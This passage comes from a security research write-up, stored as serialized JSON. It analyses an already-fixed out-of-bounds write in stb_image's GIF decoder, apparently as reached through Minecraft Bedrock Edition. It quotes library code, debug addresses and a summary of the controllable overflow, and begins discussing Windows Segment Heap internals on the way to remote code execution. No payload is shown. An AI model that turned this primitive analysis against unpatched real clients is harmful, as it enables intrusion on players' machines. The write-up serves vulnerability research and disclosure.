161104},{"style":13625},[161105],{"type":30,"value":44686},{"type":25,"tag":271,"props":161107,"children":161108},{"class":13593,"line":16791},[161109],{"type":25,"tag":271,"props":161110,"children":161111},{"style":13625},[161112],{"type":30,"value":47859},{"type":25,"tag":26,"props":161114,"children":161115},{},[161116,161118,161123,161125,161130],{"type":30,"value":161117},"This confirms ",{"type":25,"tag":264,"props":161119,"children":161121},{"className":161120},[],[161122],{"type":30,"value":89633},{"type":30,"value":161124}," is OOB for ",{"type":25,"tag":264,"props":161126,"children":161128},{"className":161127},[],[161129],{"type":30,"value":160608},{"type":30,"value":161131}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":25,"tag":26,"props":161133,"children":161134},{},[161135,161137,161143,161145,161152],{"type":30,"value":161136},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":25,"tag":264,"props":161138,"children":161140},{"className":161139},[],[161141],{"type":30,"value":161142},"g->color_table",{"type":30,"value":161144}," is populated by ",{"type":25,"tag":83,"props":161146,"children":161149},{"href":161147,"rel":161148},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[9066],[161150],{"type":30,"value":161151},"stbi__gif_parse_colortable",{"type":30,"value":359},{"type":25,"tag":7764,"props":161154,"children":161156},{"code":161155,"language":13243,"meta":7,"className":29637,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[161157],{"type":25,"tag":264,"props":161158,"children":161159},{"__ignoreMap":7},[161160,161180,161200,161239,161255,161267,161274,161285,161328,161362,161393,161424,161481,161488],{"type":25,"tag":271,"props":161161,"children":161162},{"class":13593,"line":13594},[161163,161167,161171,161176],{"type":25,"tag":271,"props":161164,"children":161165},{"style":14289},[161166],{"type":30,"value":64160},{"type":25,"tag":271,"props":161168,"children":161169},{"style":14289},[161170],{"type":30,"value":64165},{"type":25,"tag":271,"props":161172,"children":161173},{"style":13620},[161174],{"type":30,"value":161175}," stbi__gif_parse_colortable",{"type":25,"tag":271,"props":161177,"children":161178},{"style":13625},[161179],{"type":30,"value":16609},{"type":25,"tag":271,"props":161181,"children":161182},{"class":13593,"line":11641},[161183,161188,161192,161196],{"type":25,"tag":271,"props":161184,"children":161185},{"style":13625},[161186],{"type":30,"value":161187},"    stbi__context ",{"type":25,"tag":271,"props":161189,"children":161190},{"style":13603},[161191],{"type":30,"value":17702},{"type":25,"tag":271,"props":161193,"children":161194},{"style":13598},[161195],{"type":30,"value":23776},{"type":25,"tag":271,"props":161197,"children":161198},{"style":13625},[161199],{"type":30,"value":14351},{"type":25,"tag":271,"props":161201,"children":161202},{"class":13593,"line":14354},[161203,161208,161213,161217,161221,161225,161229,161234],{"type":25,"tag":271,"props":161204,"children":161205},{"style":13625},[161206],{"type":30,"value":161207},"    stbi_uc ",{"type":25,"tag":271,"props":161209,"children":161210},{"style":13598},[161211],{"type":30,"value":161212},"pal",{"type":25,"tag":271,"props":161214,"children":161215},{"style":13625},[161216],{"type":30,"value":5604},{"type":25,"tag":271,"props":161218,"children":161219},{"style":16187},[161220],{"type":30,"value":106399},{"type":25,"tag":271,"props":161222,"children":161223},{"style":13625},[161224],{"type":30,"value":62074},{"type":25,"tag":271,"props":161226,"children":161227},{"style":16187},[161228],{"type":30,"value":30650},{"type":25,"tag":271,"props":161230,"children":161231},{"style":13625},[161232],{"type":30,"value":161233},"],",{"type":25,"tag":271,"props":161235,"children":161236},{"style":14385},[161237],{"type":30,"value":161238},"    // g->color_table\n",{"type":25,"tag":271,"props":161240,"children":161241},{"class":13593,"line":14391},[161242,161246,161251],{"type":25,"tag":271,"props":161243,"children":161244},{"style":14289},[161245],{"type":30,"value":32198},{"type":25,"tag":271,"props":161247,"children":161248},{"style":13598},[161249],{"type":30,"value":161250}," num_entries",{"type":25,"tag":271,"props":161252,"children":161253},{"style":13625},[161254],{"type":30,"value":14351},{"type":25,"tag":271,"props":161256,"children":161257},{"class":13593,"line":14400},[161258,161262],{"type":25,"tag":271,"props":161259,"children":161260},{"style":14289},[161261],{"type":30,"value":32198},{"type":25,"tag":271,"props":161263,"children":161264},{"style":13625},[161265],{"type":30,"value":161266}," transp\n",{"type":25,"tag":271,"props":161268,"children":161269},{"class":13593,"line":16406},[161270],{"type":25,"tag":271,"props":161271,"children":161272},{"style":13625},[161273],{"type":30,"value":27925},{"type":25,"tag":271,"props":161275,"children":161276},{"class":13593,"line":16434},[161277,161281],{"type":25,"tag":271,"props":161278,"children":161279},{"style":14289},[161280],{"type":30,"value":160329},{"type":25,"tag":271,"props":161282,"children":161283},{"style":13625},[161284],{"type":30,"value":71079},{"type":25,"tag":271,"props":161286,"children":161287},{"class":13593,"line":16447},[161288,161293,161298,161302,161306,161310,161314,161319,161323],{"type":25,"tag":271,"props":161289,"children":161290},{"style":16171},[161291],{"type":30,"value":161292},"   for",{"type":25,"tag":271,"props":161294,"children":161295},{"style":13625},[161296],{"type":30,"value":161297}," (i",{"type":25,"tag":271,"props":161299,"children":161300},{"style":13603},[161301],{"type":30,"value":1065},{"type":25,"tag":271,"props":161303,"children":161304},{"style":16187},[161305],{"type":30,"value":953},{"type":25,"tag":271,"props":161307,"children":161308},{"style":13625},[161309],{"type":30,"value":64349},{"type":25,"tag":271,"props":161311,"children":161312},{"style":13603},[161313],{"type":30,"value":14307},{"type":25,"tag":271,"props":161315,"children":161316},{"style":13625},[161317],{"type":30,"value":161318}," num_entries; ",{"type":25,"tag":271,"props":161320,"children":161321},{"style":13603},[161322],{"type":30,"value":64385},{"type":25,"tag":271,"props":161324,"children":161325},{"style":13625},[161326],{"type":30,"value":161327},"i) {\n",{"type":25,"tag":271,"props":161329,"children":161330},{"class":13593,"line":16465},[161331,161336,161340,161344,161348,161352,161357],{"type":25,"tag":271,"props":161332,"children":161333},{"style":13598},[161334],{"type":30,"value":161335},"      pal",{"type":25,"tag":271,"props":161337,"children":161338},{"style":13625},[161339],{"type":30,"value":73770},{"type":25,"tag":271,"props":161341,"children":161342},{"style":16187},[161343],{"type":30,"value":1326},{"type":25,"tag":271,"props":161345,"children":161346},{"style":13625},[161347],{"type":30,"value":21781},{"type":25,"tag":271,"props":161349,"children":161350},{"style":13603},[161351],{"type":30,"value":1065},{"type":25,"tag":271,"props":161353,"children":161354},{"style":13620},[161355],{"type":30,"value":161356}," stbi__get8",{"type":25,"tag":271,"props":161358,"children":161359},{"style":13625},[161360],{"type":30,"value":161361},"(s);\n",{"type":25,"tag":271,"props":161363,"children":161364},{"class":13593,"line":16486},[161365,161369,161373,161377,161381,161385,161389],{"type":25,"tag":271,"props":161366,"children":161367},{"style":13598},[161368],{"type":30,"value":161335},{"type":25,"tag":271,"props":161370,"children":161371},{"style":13625},[161372],{"type":30,"value":73770},{"type":25,"tag":271,"props":161374,"children":161375},{"style":16187},[161376],{"type":30,"value":968},{"type":25,"tag":271,"props":161378,"children":161379},{"style":13625},[161380],{"type":30,"value":21781},{"type":25,"tag":271,"props":161382,"children":161383},{"style":13603},[161384],{"type":30,"value":1065},{"type":25,"tag":271,"props":161386,"children":161387},{"style":13620},[161388],{"type":30,"value":161356},{"type":25,"tag":271,"props":161390,"children":161391},{"style":13625},[161392],{"type":30,"value":161361},{"type":25,"tag":271,"props":161394,"children":161395},{"class":13593,"line":16495},[161396,161400,161404,161408,161412,161416,161420],{"type":25,"tag":271,"props":161397,"children":161398},{"style":13598},[161399],{"type":30,"value":161335},{"type":25,"tag":271,"props":161401,"children":161402},{"style":13625},[161403],{"type":30,"value":73770},{"type":25,"tag":271,"props":161405,"children":161406},{"style":16187},[161407],{"type":30,"value":953},{"type":25,"tag":271,"props":161409,"children":161410},{"style":13625},[161411],{"type":30,"value":21781},{"type":25,"tag":271,"props":161413,"children":161414},{"style":13603},[161415],{"type":30,"value":1065},{"type":25,"tag":271,"props":161417,"children":161418},{"style":13620},[161419],{"type":30,"value":161356},{"type":25,"tag":271,"props":161421,"children":161422},{"style":13625},[161423],{"type":30,"value":161361},{"type":25,"tag":271,"props":161425,"children":161426},{"class":13593,"line":16744},[161427,161431,161435,161439,161443,161447,161452,161456,161460,161464,161468,161472,161477],{"type":25,"tag":271,"props":161428,"children":161429},{"style":13598},[161430],{"type":30,"value":161335},{"type":25,"tag":271,"props":161432,"children":161433},{"style":13625},[161434],{"type":30,"value":73770},{"type":25,"tag":271,"props":161436,"children":161437},{"style":16187},[161438],{"type":30,"value":7711},{"type":25,"tag":271,"props":161440,"children":161441},{"style":13625},[161442],{"type":30,"value":21781},{"type":25,"tag":271,"props":161444,"children":161445},{"style":13603},[161446],{"type":30,"value":1065},{"type":25,"tag":271,"props":161448,"children":161449},{"style":13625},[161450],{"type":30,"value":161451}," transp ",{"type":25,"tag":271,"props":161453,"children":161454},{"style":13603},[161455],{"type":30,"value":21696},{"type":25,"tag":271,"props":161457,"children":161458},{"style":13625},[161459],{"type":30,"value":67660},{"type":25,"tag":271,"props":161461,"children":161462},{"style":13603},[161463],{"type":30,"value":5632},{"type":25,"tag":271,"props":161465,"children":161466},{"style":16187},[161467],{"type":30,"value":16190},{"type":25,"tag":271,"props":161469,"children":161470},{"style":13603},[161471],{"type":30,"value":48227},{"type":25,"tag":271,"props":161473,"children":161474},{"style":16187},[161475],{"type":30,"value":161476}," 255",{"type":25,"tag":271,"props":161478,"children":161479},{"style":13625},[161480],{"type":30,"value":16165},{"type":25,"tag":271,"props":161482,"children":161483},{"class":13593,"line":16761},[161484],{"type":25,"tag":271,"props":161485,"children":161486},{"style":13625},[161487],{"type":30,"value":47859},{"type":25,"tag":271,"props":161489,"children":161490},{"class":13593,"line":16778},[161491],{"type":25,"tag":271,"props":161492,"children":161493},{"style":13625},[161494],{"type":30,"value":17058},{"type":25,"tag":26,"props":161496,"children":161497},{},[161498,161500,161505,161506,161511,161513,161518],{"type":30,"value":161499},"The first three bytes are read from the input image, while the last byte can be either ",{"type":25,"tag":264,"props":161501,"children":161503},{"className":161502},[],[161504],{"type":30,"value":953},{"type":30,"value":26259},{"type":25,"tag":264,"props":161507,"children":161509},{"className":161508},[],[161510],{"type":30,"value":5624},{"type":30,"value":161512},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":25,"tag":264,"props":161514,"children":161516},{"className":161515},[],[161517],{"type":30,"value":14233},{"type":30,"value":359},{"type":25,"tag":7764,"props":161520,"children":161522},{"code":161521,"language":13243,"meta":7,"className":29637,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[161523],{"type":25,"tag":264,"props":161524,"children":161525},{"__ignoreMap":7},[161526,161589,161628,161667,161706,161745,161784],{"type":25,"tag":271,"props":161527,"children":161528},{"class":13593,"line":13594},[161529,161533,161537,161541,161545,161549,161553,161557,161561,161565,161569,161573,161577,161581,161585],{"type":25,"tag":271,"props":161530,"children":161531},{"style":13625},[161532],{"type":30,"value":160843},{"type":25,"tag":271,"props":161534,"children":161535},{"style":13603},[161536],{"type":30,"value":1065},{"type":25,"tag":271,"props":161538,"children":161539},{"style":13603},[161540],{"type":30,"value":14341},{"type":25,"tag":271,"props":161542,"children":161543},{"style":13625},[161544],{"type":30,"value":1558},{"type":25,"tag":271,"props":161546,"children":161547},{"style":13603},[161548],{"type":30,"value":14411},{"type":25,"tag":271,"props":161550,"children":161551},{"style":13598},[161552],{"type":30,"value":160864},{"type":25,"tag":271,"props":161554,"children":161555},{"style":13625},[161556],{"type":30,"value":5604},{"type":25,"tag":271,"props":161558,"children":161559},{"style":13598},[161560],{"type":30,"value":1558},{"type":25,"tag":271,"props":161562,"children":161563},{"style":13625},[161564],{"type":30,"value":14411},{"type":25,"tag":271,"props":161566,"children":161567},{"style":13598},[161568],{"type":30,"value":160881},{"type":25,"tag":271,"props":161570,"children":161571},{"style":13625},[161572],{"type":30,"value":160886},{"type":25,"tag":271,"props":161574,"children":161575},{"style":13598},[161576],{"type":30,"value":160891},{"type":25,"tag":271,"props":161578,"children":161579},{"style":13603},[161580],{"type":30,"value":22940},{"type":25,"tag":271,"props":161582,"children":161583},{"style":16187},[161584],{"type":30,"value":24870},{"type":25,"tag":271,"props":161586,"children":161587},{"style":13625},[161588],{"type":30,"value":44686},{"type":25,"tag":271,"props":161590,"children":161591},{"class":13593,"line":11641},[161592,161596,161600,161604,161608,161612,161616,161620,161624],{"type":25,"tag":271,"props":161593,"children":161594},{"style":16171},[161595],{"type":30,"value":65760},{"type":25,"tag":271,"props":161597,"children":161598},{"style":13625},[161599],{"type":30,"value":16213},{"type":25,"tag":271,"props":161601,"children":161602},{"style":13598},[161603],{"type":30,"value":13243},{"type":25,"tag":271,"props":161605,"children":161606},{"style":13625},[161607],{"type":30,"value":5604},{"type":25,"tag":271,"props":161609,"children":161610},{"style":16187},[161611],{"type":30,"value":7711},{"type":25,"tag":271,"props":161613,"children":161614},{"style":13625},[161615],{"type":30,"value":21781},{"type":25,"tag":271,"props":161617,"children":161618},{"style":13603},[161619],{"type":30,"value":23586},{"type":25,"tag":271,"props":161621,"children":161622},{"style":16187},[161623],{"type":30,"value":160939},{"type":25,"tag":271,"props":161625,"children":161626},{"style":13625},[161627],{"type":30,"value":27925},{"type":25,"tag":271,"props":161629,"children":161630},{"class":13593,"line":14354},[161631,161635,161639,161643,161647,161651,161655,161659,161663],{"type":25,"tag":271,"props":161632,"children":161633},{"style":13598},[161634],{"type":30,"value":160951},{"type":25,"tag":271,"props":161636,"children":161637},{"style":13625},[161638],{"type":30,"value":5604},{"type":25,"tag":271,"props":161640,"children":161641},{"style":16187},[161642],{"type":30,"value":953},{"type":25,"tag":271,"props":161644,"children":161645},{"style":13625},[161646],{"type":30,"value":21781},{"type":25,"tag":271,"props":161648,"children":161649},{"style":13603},[161650],{"type":30,"value":1065},{"type":25,"tag":271,"props":161652,"children":161653},{"style":13598},[161654],{"type":30,"value":50556},{"type":25,"tag":271,"props":161656,"children":161657},{"style":13625},[161658],{"type":30,"value":5604},{"type":25,"tag":271,"props":161660,"children":161661},{"style":16187},[161662],{"type":30,"value":1326},{"type":25,"tag":271,"props":161664,"children":161665},{"style":13625},[161666],{"type":30,"value":44686},{"type":25,"tag":271,"props":161668,"children":161669},{"class":13593,"line":14391},[161670,161674,161678,161682,161686,161690,161694,161698,161702],{"type":25,"tag":271,"props":161671,"children":161672},{"style":13598},[161673],{"type":30,"value":160951},{"type":25,"tag":271,"props":161675,"children":161676},{"style":13625},[161677],{"type":30,"value":5604},{"type":25,"tag":271,"props":161679,"children":161680},{"style":16187},[161681],{"type":30,"value":968},{"type":25,"tag":271,"props":161683,"children":161684},{"style":13625},[161685],{"type":30,"value":21781},{"type":25,"tag":271,"props":161687,"children":161688},{"style":13603},[161689],{"type":30,"value":1065},{"type":25,"tag":271,"props":161691,"children":161692},{"style":13598},[161693],{"type":30,"value":50556},{"type":25,"tag":271,"props":161695,"children":161696},{"style":13625},[161697],{"type":30,"value":5604},{"type":25,"tag":271,"props":161699,"children":161700},{"style":16187},[161701],{"type":30,"value":968},{"type":25,"tag":271,"props":161703,"children":161704},{"style":13625},[161705],{"type":30,"value":44686},{"type":25,"tag":271,"props":161707,"children":161708},{"class":13593,"line":14400},[161709,161713,161717,161721,161725,161729,161733,161737,161741],{"type":25,"tag":271,"props":161710,"children":161711},{"style":13598},[161712],{"type":30,"value":160951},{"type":25,"tag":271,"props":161714,"children":161715},{"style":13625},[161716],{"type":30,"value":5604},{"type":25,"tag":271,"props":161718,"children":161719},{"style":16187},[161720],{"type":30,"value":1326},{"type":25,"tag":271,"props":161722,"children":161723},{"style":13625},[161724],{"type":30,"value":21781},{"type":25,"tag":271,"props":161726,"children":161727},{"style":13603},[161728],{"type":30,"value":1065},{"type":25,"tag":271,"props":161730,"children":161731},{"style":13598},[161732],{"type":30,"value":50556},{"type":25,"tag":271,"props":161734,"children":161735},{"style":13625},[161736],{"type":30,"value":5604},{"type":25,"tag":271,"props":161738,"children":161739},{"style":16187},[161740],{"type":30,"value":953},{"type":25,"tag":271,"props":161742,"children":161743},{"style":13625},[161744],{"type":30,"value":44686},{"type":25,"tag":271,"props":161746,"children":161747},{"class":13593,"line":16406},[161748,161752,161756,161760,161764,161768,161772,161776,161780],{"type":25,"tag":271,"props":161749,"children":161750},{"style":13598},[161751],{"type":30,"value":160951},{"type":25,"tag":271,"props":161753,"children":161754},{"style":13625},[161755],{"type":30,"value":5604},{"type":25,"tag":271,"props":161757,"children":161758},{"style":16187},[161759],{"type":30,"value":7711},{"type":25,"tag":271,"props":161761,"children":161762},{"style":13625},[161763],{"type":30,"value":21781},{"type":25,"tag":271,"props":161765,"children":161766},{"style":13603},[161767],{"type":30,"value":1065},{"type":25,"tag":271,"props":161769,"children":161770},{"style":13598},[161771],{"type":30,"value":50556},{"type":25,"tag":271,"props":161773,"children":161774},{"style":13625},[161775],{"type":30,"value":5604},{"type":25,"tag":271,"props":161777,"children":161778},{"style":16187},[161779],{"type":30,"value":7711},{"type":25,"tag":271,"props":161781,"children":161782},{"style":13625},[161783],{"type":30,"value":44686},{"type":25,"tag":271,"props":161785,"children":161786},{"class":13593,"line":16434},[161787],{"type":25,"tag":271,"props":161788,"children":161789},{"style":13625},[161790],{"type":30,"value":47859},{"type":25,"tag":26,"props":161792,"children":161793},{},[161794,161795,161800,161802,161807,161809,161814],{"type":30,"value":37124},{"type":25,"tag":264,"props":161796,"children":161798},{"className":161797},[],[161799],{"type":30,"value":161151},{"type":30,"value":161801}," has to set the last byte to ",{"type":25,"tag":264,"props":161803,"children":161805},{"className":161804},[],[161806],{"type":30,"value":5624},{"type":30,"value":161808}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":25,"tag":264,"props":161810,"children":161812},{"className":161811},[],[161813],{"type":30,"value":5624},{"type":30,"value":1860},{"type":25,"tag":26,"props":161816,"children":161817},{},[161818,161820,161825,161827,161833,161834,161840],{"type":30,"value":161819},"In the code we can see that size of the ",{"type":25,"tag":264,"props":161821,"children":161823},{"className":161822},[],[161824],{"type":30,"value":160608},{"type":30,"value":161826}," allocation is controlled through ",{"type":25,"tag":264,"props":161828,"children":161830},{"className":161829},[],[161831],{"type":30,"value":161832},"g->w",{"type":30,"value":12218},{"type":25,"tag":264,"props":161835,"children":161837},{"className":161836},[],[161838],{"type":30,"value":161839},"g->h",{"type":30,"value":161841}," values, both of which are read from the input file itself:",{"type":25,"tag":7764,"props":161843,"children":161845},{"code":161844,"language":13243,"meta":7,"className":29637,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[161846],{"type":25,"tag":264,"props":161847,"children":161848},{"__ignoreMap":7},[161849,161874,161881,161888,161923,161969],{"type":25,"tag":271,"props":161850,"children":161851},{"class":13593,"line":13594},[161852,161856,161861,161865,161869],{"type":25,"tag":271,"props":161853,"children":161854},{"style":14289},[161855],{"type":30,"value":64160},{"type":25,"tag":271,"props":161857,"children":161858},{"style":13625},[161859],{"type":30,"value":161860}," stbi_uc ",{"type":25,"tag":271,"props":161862,"children":161863},{"style":13603},[161864],{"type":30,"value":17702},{"type":25,"tag":271,"props":161866,"children":161867},{"style":13620},[161868],{"type":30,"value":159787},{"type":25,"tag":271,"props":161870,"children":161871},{"style":13625},[161872],{"type":30,"value":161873},"(...)\n",{"type":25,"tag":271,"props":161875,"children":161876},{"class":13593,"line":11641},[161877],{"type":25,"tag":271,"props":161878,"children":161879},{"style":13625},[161880],{"type":30,"value":24005},{"type":25,"tag":271,"props":161882,"children":161883},{"class":13593,"line":14354},[161884],{"type":25,"tag":271,"props":161885,"children":161886},{"style":13625},[161887],{"type":30,"value":160349},{"type":25,"tag":271,"props":161889,"children":161890},{"class":13593,"line":14391},[161891,161895,161899,161903,161907,161911,161915,161919],{"type":25,"tag":271,"props":161892,"children":161893},{"style":16171},[161894],{"type":30,"value":65760},{"type":25,"tag":271,"props":161896,"children":161897},{"style":13625},[161898],{"type":30,"value":16213},{"type":25,"tag":271,"props":161900,"children":161901},{"style":13598},[161902],{"type":30,"value":1558},{"type":25,"tag":271,"props":161904,"children":161905},{"style":13625},[161906],{"type":30,"value":14411},{"type":25,"tag":271,"props":161908,"children":161909},{"style":13598},[161910],{"type":30,"value":11028},{"type":25,"tag":271,"props":161912,"children":161913},{"style":13603},[161914],{"type":30,"value":16422},{"type":25,"tag":271,"props":161916,"children":161917},{"style":16187},[161918],{"type":30,"value":16190},{"type":25,"tag":271,"props":161920,"children":161921},{"style":13625},[161922],{"type":30,"value":27925},{"type":25,"tag":271,"props":161924,"children":161925},{"class":13593,"line":14400},[161926,161930,161934,161938,161943,161948,161952,161957,161961,161965],{"type":25,"tag":271,"props":161927,"children":161928},{"style":16171},[161929],{"type":30,"value":52397},{"type":25,"tag":271,"props":161931,"children":161932},{"style":13625},[161933],{"type":30,"value":16213},{"type":25,"tag":271,"props":161935,"children":161936},{"style":13603},[161937],{"type":30,"value":33742},{"type":25,"tag":271,"props":161939,"children":161940},{"style":13620},[161941],{"type":30,"value":161942},"stbi__gif_header",{"type":25,"tag":271,"props":161944,"children":161945},{"style":13625},[161946],{"type":30,"value":161947},"(s, g, comp,",{"type":25,"tag":271,"props":161949,"children":161950},{"style":16187},[161951],{"type":30,"value":953},{"type":25,"tag":271,"props":161953,"children":161954},{"style":13625},[161955],{"type":30,"value":161956},"))     ",{"type":25,"tag":271,"props":161958,"children":161959},{"style":16171},[161960],{"type":30,"value":61573},{"type":25,"tag":271,"props":161962,"children":161963},{"style":16187},[161964],{"type":30,"value":16190},{"type":25,"tag":271,"props":161966,"children":161967},{"style":13625},[161968],{"type":30,"value":16165},{"type":25,"tag":271,"props":161970,"children":161971},{"class":13593,"line":16406},[161972,161977,161981,161985,161989,161994,161998,162002,162007,162011,162015,162019,162023,162027,162031,162035,162039,162043,162047],{"type":25,"tag":271,"props":161973,"children":161974},{"style":13598},[161975],{"type":30,"value":161976},"      g",{"type":25,"tag":271,"props":161978,"children":161979},{"style":13625},[161980],{"type":30,"value":14411},{"type":25,"tag":271,"props":161982,"children":161983},{"style":13598},[161984],{"type":30,"value":11028},{"type":25,"tag":271,"props":161986,"children":161987},{"style":13603},[161988],{"type":30,"value":16155},{"type":25,"tag":271,"props":161990,"children":161991},{"style":13625},[161992],{"type":30,"value":161993}," (stbi_uc ",{"type":25,"tag":271,"props":161995,"children":161996},{"style":13603},[161997],{"type":30,"value":17702},{"type":25,"tag":271,"props":161999,"children":162000},{"style":13625},[162001],{"type":30,"value":14406},{"type":25,"tag":271,"props":162003,"children":162004},{"style":13620},[162005],{"type":30,"value":162006},"stbi__malloc",{"type":25,"tag":271,"props":162008,"children":162009},{"style":13625},[162010],{"type":30,"value":394},{"type":25,"tag":271,"props":162012,"children":162013},{"style":16187},[162014],{"type":30,"value":30650},{"type":25,"tag":271,"props":162016,"children":162017},{"style":13603},[162018],{"type":30,"value":22940},{"type":25,"tag":271,"props":162020,"children":162021},{"style":13598},[162022],{"type":30,"value":160389},{"type":25,"tag":271,"props":162024,"children":162025},{"style":13625},[162026],{"type":30,"value":14411},{"type":25,"tag":271,"props":162028,"children":162029},{"style":13598},[162030],{"type":30,"value":11188},{"type":25,"tag":271,"props":162032,"children":162033},{"style":13603},[162034],{"type":30,"value":22940},{"type":25,"tag":271,"props":162036,"children":162037},{"style":13598},[162038],{"type":30,"value":160389},{"type":25,"tag":271,"props":162040,"children":162041},{"style":13625},[162042],{"type":30,"value":14411},{"type":25,"tag":271,"props":162044,"children":162045},{"style":13598},[162046],{"type":30,"value":97458},{"type":25,"tag":271,"props":162048,"children":162049},{"style":13625},[162050],{"type":30,"value":13665},{"type":25,"tag":26,"props":162052,"children":162053},{},[162054,162056,162061,162063,162068],{"type":30,"value":162055},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":25,"tag":264,"props":162057,"children":162059},{"className":162058},[],[162060],{"type":30,"value":160608},{"type":30,"value":162062}," and the value of ",{"type":25,"tag":264,"props":162064,"children":162066},{"className":162065},[],[162067],{"type":30,"value":26},{"type":30,"value":162069}," just before the OOB write happens:",{"type":25,"tag":7764,"props":162071,"children":162073},{"code":162072},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[162074],{"type":25,"tag":264,"props":162075,"children":162076},{"__ignoreMap":7},[162077],{"type":30,"value":162072},{"type":25,"tag":26,"props":162079,"children":162080},{},[162081,162083,162088,162090,162095],{"type":30,"value":162082},"There are multiple within-bound writes to ",{"type":25,"tag":264,"props":162084,"children":162086},{"className":162085},[],[162087],{"type":30,"value":26},{"type":30,"value":162089},", but the last write happens just after the ",{"type":25,"tag":264,"props":162091,"children":162093},{"className":162092},[],[162094],{"type":30,"value":160608},{"type":30,"value":162096}," allocation.",{"type":25,"tag":247,"props":162098,"children":162100},{"id":162099},"summarizing-the-corruption",[162101],{"type":30,"value":162102},"Summarizing the Corruption",{"type":25,"tag":108,"props":162104,"children":162105},{},[162106,162119,162147],{"type":25,"tag":112,"props":162107,"children":162108},{},[162109,162111,162117],{"type":30,"value":162110},"A single ",{"type":25,"tag":264,"props":162112,"children":162114},{"className":162113},[],[162115],{"type":30,"value":162116},"0x01",{"type":30,"value":162118}," byte write OOB",{"type":25,"tag":112,"props":162120,"children":162121},{},[162122,162124],{"type":30,"value":162123},"4-byte OOB write just above the allocated buffer\n",{"type":25,"tag":108,"props":162125,"children":162126},{},[162127,162132,162142],{"type":25,"tag":112,"props":162128,"children":162129},{},[162130],{"type":30,"value":162131},"First three bytes are controllable",{"type":25,"tag":112,"props":162133,"children":162134},{},[162135,162137],{"type":30,"value":162136},"Last byte will be ",{"type":25,"tag":264,"props":162138,"children":162140},{"className":162139},[],[162141],{"type":30,"value":5624},{"type":25,"tag":112,"props":162143,"children":162144},{},[162145],{"type":30,"value":162146},"Size of the allocation is controlled",{"type":25,"tag":112,"props":162148,"children":162149},{},[162150,162152],{"type":30,"value":162151},"Both corruptions are done on a short-lived allocation\n",{"type":25,"tag":108,"props":162153,"children":162154},{},[162155,162160],{"type":25,"tag":112,"props":162156,"children":162157},{},[162158],{"type":30,"value":162159},"Allocated just before the image-parsing process",{"type":25,"tag":112,"props":162161,"children":162162},{},[162163],{"type":30,"value":162164},"Freed immediately upon parsing completion",{"type":25,"tag":92,"props":162166,"children":162167},{},[],{"type":25,"tag":26,"props":162169,"children":162170},{},[162171,162173,162180,162182,162189],{"type":30,"value":162172},"Note that this bug was already found before (",{"type":25,"tag":83,"props":162174,"children":162177},{"href":162175,"rel":162176},"https://github.com/nothings/stb/issues/656",[9066],[162178],{"type":30,"value":162179},"Github Issue",{"type":30,"value":162181},") but we missed it at the time. It was later fixed in ",{"type":25,"tag":83,"props":162183,"children":162186},{"href":162184,"rel":162185},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[9066],[162187],{"type":30,"value":162188},"this commit",{"type":30,"value":1860},{"type":25,"tag":96,"props":162191,"children":162192},{"id":18550},[162193],{"type":30,"value":18553},{"type":25,"tag":26,"props":162195,"children":162196},{},[162197],{"type":30,"value":162198},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":25,"tag":26,"props":162200,"children":162201},{},[162202],{"type":30,"value":162203},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":25,"tag":247,"props":162205,"children":162207},{"id":162206},"searching-for-better-primitives",[162208],{"type":30,"value":162209},"Searching for Better Primitives",{"type":25,"tag":26,"props":162211,"children":162212},{},[162213],{"type":30,"value":162214},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":25,"tag":26,"props":162216,"children":162217},{},[162218,162220,162227],{"type":30,"value":162219},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":25,"tag":83,"props":162221,"children":162224},{"href":162222,"rel":162223},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[9066],[162225],{"type":30,"value":162226},"UWP",{"type":30,"value":162228}," applications (such as Minecraft Bedrock Edition).",{"type":25,"tag":247,"props":162230,"children":162232},{"id":162231},"segment-heap",[162233],{"type":30,"value":162234},"Segment Heap",{"type":25,"tag":26,"props":162236,"children":162237},{},[162238,162240,162247],{"type":30,"value":162239},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":25,"tag":83,"props":162241,"children":162244},{"href":162242,"rel":162243},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[9066],[162245],{"type":30,"value":162246},"this talk",{"type":30,"value":162248}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":25,"tag":2352,"props":162250,"children":162252},{"id":162251},"low-fragmentation-heap",[162253],{"type":30,"value":162254},"Low Fragmentation 